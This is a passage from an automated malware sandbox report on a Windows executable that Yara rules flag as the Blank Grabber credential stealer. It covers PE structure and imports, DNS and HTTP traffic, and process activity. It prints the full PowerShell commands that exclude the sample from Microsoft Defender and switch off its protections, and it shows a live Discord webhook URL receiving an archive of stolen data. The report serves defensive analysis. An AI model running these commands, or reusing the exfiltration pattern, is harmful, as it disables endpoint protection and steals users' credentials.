                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x3a0800x1c.rdata
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x39f400x140.rdata
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_IAT0x2b0000x4a0.rdata
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                                                        Sections

                                                                                                                                                                                                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                                                        .text0x10000x29f700x2a000b8c3814c5fb0b18492ad4ec2ffe0830aFalse0.5518740699404762data6.489205819736506IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                        .rdata0x2b0000x12a280x12c00840e45b8baac4d1e6f852c107f1ecbdaFalse0.5243229166666666data5.750780551800378IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                        .data0x3e0000x53f80xe00dba0caeecab624a0ccc0d577241601d1False0.134765625data1.8392217063172436IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                        .pdata0x440000x22380x24009cd1eac931545f28ab09329f8bfce843False0.4697265625data5.2645170849678795IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                        .rsrc0x470000x93c0xa00cc218f377599cfdcaa1894e4cc3ace4dFalse0.423828125data5.119944500425552IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                        .reloc0x480000x7640x800816c68eeb419ee2c08656c31c06a0fffFalse0.5576171875data5.2809528666624175IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                                                        Resources

                                                                                                                                                                                                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                                                        RT_VERSION0x470a00x38cPGP symmetric key encrypted data - Plaintext or unencrypted data0.4526431718061674
                                                                                                                                                                                                                                        RT_MANIFEST0x4742c0x50dXML 1.0 document, ASCII text0.4694508894044857

                                                                                                                                                                                                                                        Imports

                                                                                                                                                                                                                                        DLLImport
                                                                                                                                                                                                                                        USER32.dllCreateWindowExW, ShutdownBlockReasonCreate, MsgWaitForMultipleObjects, ShowWindow, DestroyWindow, RegisterClassW, DefWindowProcW, PeekMessageW, DispatchMessageW, TranslateMessage, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
                                                                                                                                                                                                                                        COMCTL32.dll
                                                                                                                                                                                                                                        KERNEL32.dllGetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, LCMapStringW, CompareStringW, FlsFree, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, FormatMessageW, GetLastError, GetModuleFileNameW, LoadLibraryExW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, GetEnvironmentStringsW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, DeleteFileW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, QueryPerformanceCounter, QueryPerformanceFrequency, WaitForSingleObject, Sleep, GetCurrentProcess, TerminateProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FlsSetValue, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, CreateDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue
                                                                                                                                                                                                                                        ADVAPI32.dllOpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
                                                                                                                                                                                                                                        GDI32.dllSelectObject, DeleteObject, CreateFontIndirectW

                                                                                                                                                                                                                                        Network Behavior

                                                                                                                                                                                                                                        Network Port Distribution

                                                                                                                                                                                                                                        TCP Packets

                                                                                                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:12.971261978 CET4975780192.168.2.6208.95.112.1
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:12.976133108 CET8049757208.95.112.1192.168.2.6
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:12.976258993 CET4975780192.168.2.6208.95.112.1
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:12.976381063 CET4975780192.168.2.6208.95.112.1
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:12.981132984 CET8049757208.95.112.1192.168.2.6
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:13.477505922 CET8049757208.95.112.1192.168.2.6
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:13.628458023 CET4975780192.168.2.6208.95.112.1
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:13.717978001 CET49763443192.168.2.6162.159.138.232
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:13.717997074 CET44349763162.159.138.232192.168.2.6
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:13.718061924 CET49763443192.168.2.6162.159.138.232
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:13.748478889 CET49763443192.168.2.6162.159.138.232
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:13.748507977 CET44349763162.159.138.232192.168.2.6
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.206098080 CET44349763162.159.138.232192.168.2.6
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.206470966 CET49763443192.168.2.6162.159.138.232
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.206485987 CET44349763162.159.138.232192.168.2.6
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.207825899 CET44349763162.159.138.232192.168.2.6
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.207896948 CET49763443192.168.2.6162.159.138.232
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.209213972 CET49763443192.168.2.6162.159.138.232
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.209299088 CET44349763162.159.138.232192.168.2.6
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.209654093 CET49763443192.168.2.6162.159.138.232
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.209681034 CET44349763162.159.138.232192.168.2.6
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.209714890 CET49763443192.168.2.6162.159.138.232
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.209749937 CET44349763162.159.138.232192.168.2.6
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.253490925 CET49763443192.168.2.6162.159.138.232
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.362713099 CET44349763162.159.138.232192.168.2.6
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.362799883 CET44349763162.159.138.232192.168.2.6
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.362955093 CET49763443192.168.2.6162.159.138.232
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.363574982 CET49763443192.168.2.6162.159.138.232
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.364032984 CET4975780192.168.2.6208.95.112.1
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.369661093 CET8049757208.95.112.1192.168.2.6
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:14.371169090 CET4975780192.168.2.6208.95.112.1

                                                                                                                                                                                                                                        UDP Packets

                                                                                                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:12.963574886 CET5682653192.168.2.61.1.1.1
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:12.970599890 CET53568261.1.1.1192.168.2.6
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:13.706993103 CET6447753192.168.2.61.1.1.1
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:13.713614941 CET53644771.1.1.1192.168.2.6

                                                                                                                                                                                                                                        DNS Queries

                                                                                                                                                                                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:12.963574886 CET192.168.2.61.1.1.10x5df8Standard query (0)ip-api.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:13.706993103 CET192.168.2.61.1.1.10x3227Standard query (0)discord.comA (IP address)IN (0x0001)false

                                                                                                                                                                                                                                        DNS Answers

                                                                                                                                                                                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:12.970599890 CET1.1.1.1192.168.2.60x5df8No error (0)ip-api.com208.95.112.1A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:13.713614941 CET1.1.1.1192.168.2.60x3227No error (0)discord.com162.159.138.232A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:13.713614941 CET1.1.1.1192.168.2.60x3227No error (0)discord.com162.159.137.232A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:13.713614941 CET1.1.1.1192.168.2.60x3227No error (0)discord.com162.159.136.232A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:13.713614941 CET1.1.1.1192.168.2.60x3227No error (0)discord.com162.159.135.232A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:13.713614941 CET1.1.1.1192.168.2.60x3227No error (0)discord.com162.159.128.233A (IP address)IN (0x0001)false

                                                                                                                                                                                                                                        HTTP Request Dependency Graph

                                                                                                                                                                                                                                        • discord.com
                                                                                                                                                                                                                                        • ip-api.com

                                                                                                                                                                                                                                        HTTP Packets

                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        0192.168.2.649757208.95.112.1806800C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:12.976381063 CET116OUTGET /json/?fields=225545 HTTP/1.1
                                                                                                                                                                                                                                        Host: ip-api.com
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        User-Agent: python-urllib3/2.3.0
                                                                                                                                                                                                                                        Jan 4, 2025 09:43:13.477505922 CET381INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Date: Sat, 04 Jan 2025 08:43:12 GMT
                                                                                                                                                                                                                                        Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                        Content-Length: 204
                                                                                                                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                        X-Ttl: 21
                                                                                                                                                                                                                                        X-Rl: 43
                                                                                                                                                                                                                                        Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 72 65 76 65 72 73 65 22 3a 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 38 39 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 22 6d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 70 72 6f 78 79 22 3a 66 61 6c 73 65 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d
                                                                                                                                                                                                                                        Data Ascii: {"status":"success","country":"United States","regionName":"New York","timezone":"America/New_York","reverse":"static-cpe-8-46-123-189.centurylink.com","mobile":false,"proxy":false,"query":"8.46.123.189"}


                                                                                                                                                                                                                                        HTTPS Proxied Packets

                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        0192.168.2.649763162.159.138.2324436800C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2025-01-04 08:43:14 UTC300OUTPOST /api/webhooks/1325008109688848394/ap33zUqBiGzDvwCP0tF85_LvY8CYm5iFLtVRNIJg4zgkMF4A54M4Y9NXhJ9mbH2Zi-eA HTTP/1.1
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 2285
                                                                                                                                                                                                                                        User-Agent: python-urllib3/2.3.0
                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=558696f0eeeee4b62c993438c8ec62a9
                                                                                                                                                                                                                                        2025-01-04 08:43:14 UTC2285OUTData Raw: 2d 2d 35 35 38 36 39 36 66 30 65 65 65 65 65 34 62 36 32 63 39 39 33 34 33 38 63 38 65 63 36 32 61 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 6c 61 6e 6b 2d 65 6e 67 69 6e 65 65 72 2e 72 61 72 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 52 61 72 21 1a 07 01 00 fd 86 59 19 21 04 00 00 01 0f ab 1b ab 24 c6 3b 39 8b e2 25 dd 71 17 1e c7 0c 16 0c 3d 5e d4 3a 6f 95 e2 a6 94 55 27 65 bb 37 f2 b3 fa d8 f2 a0 7b 22 40 c8 a7 3f 2c a8 82 de f4 cc 9b 83 17 fb eb f6 74 70 59 be 5b bb 2d 3c bd ed c4 3f ff 74 6f 3b b8 d4 a4 57 9e 17 a8 f9 48 9c bf
                                                                                                                                                                                                                                        Data Ascii: --558696f0eeeee4b62c993438c8ec62a9Content-Disposition: form-data; name="file"; filename="Blank-user.rar"Content-Type: application/octet-streamRar!Y!$;9%q=^:oU'e7{"@?,tpY[-<?to;WH
                                                                                                                                                                                                                                        2025-01-04 08:43:14 UTC1259INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sat, 04 Jan 2025 08:43:14 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735980195
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CX8rh0YQO043n8qUSq3VzNBihtJ9PxwbQTY%2Fvk02URHJ5%2FXN4JZGa%2FRPaKnxfEnFW1fP%2BB7URqnKDpH6ofSL5yXRtFpFZPf2t6zIYW1xni13HmPA1HK%2FypLDdV4Y"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=bd185726e1b3894ae932f6dc272eafc3f16cf390-1735980194; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=Gghn2KHav5F9HwB_LXyu7qCz_3FSUH50Z6MCH1WmeOc-1735980194320-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8fc9f0962a5cde99-EWR
                                                                                                                                                                                                                                        2025-01-04 08:43:14 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Statistics

                                                                                                                                                                                                                                        CPU Usage

                                                                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                                                                        Memory Usage

                                                                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                                                                        High Level Behavior Distribution

                                                                                                                                                                                                                                        Click to dive into process behavior distribution

                                                                                                                                                                                                                                        Behavior

                                                                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                                                                        System Behavior

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:0
                                                                                                                                                                                                                                        Start time:03:42:57
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:"C:\Users\user\Desktop\riFSkYVMKB.exe"
                                                                                                                                                                                                                                        Imagebase:0x7ff79d050000
                                                                                                                                                                                                                                        File size:7'960'487 bytes
                                                                                                                                                                                                                                        MD5 hash:90EE30FCCAFAC811F40981A0E895D7F0
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Yara matches:
                                                                                                                                                                                                                                        • Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.2112335563.00000267A8E52000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                        • Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.2112335563.00000267A8E54000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:2
                                                                                                                                                                                                                                        Start time:03:42:57
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:"C:\Users\user\Desktop\riFSkYVMKB.exe"
                                                                                                                                                                                                                                        Imagebase:0x7ff79d050000
                                                                                                                                                                                                                                        File size:7'960'487 bytes
                                                                                                                                                                                                                                        MD5 hash:90EE30FCCAFAC811F40981A0E895D7F0
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Yara matches:
                                                                                                                                                                                                                                        • Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000003.2275949217.000001CF44867000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                        • Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000002.2276489577.000001CF42667000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                        • Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:3
                                                                                                                                                                                                                                        Start time:03:42:59
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'"
                                                                                                                                                                                                                                        Imagebase:0x7ff779e90000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:4
                                                                                                                                                                                                                                        Start time:03:42:59
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                                                                                                                                                                                                                        Imagebase:0x7ff779e90000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:5
                                                                                                                                                                                                                                        Start time:03:42:59
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff66e660000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:6
                                                                                                                                                                                                                                        Start time:03:42:59
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff66e660000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:7
                                                                                                                                                                                                                                        Start time:03:42:59
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'
                                                                                                                                                                                                                                        Imagebase:0x7ff6e3d50000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:8
                                                                                                                                                                                                                                        Start time:03:42:59
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                                                                                                                                                                                                                        Imagebase:0x7ff6e3d50000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:9
                                                                                                                                                                                                                                        Start time:03:43:00
                                                                                                                                                                                                                                        Start date:04/01/2025
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                                                                                                        Imagebase:0x7ff779e90000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Target ID:10
                                                                                                                                                                                                                                        Start time:03:43:00
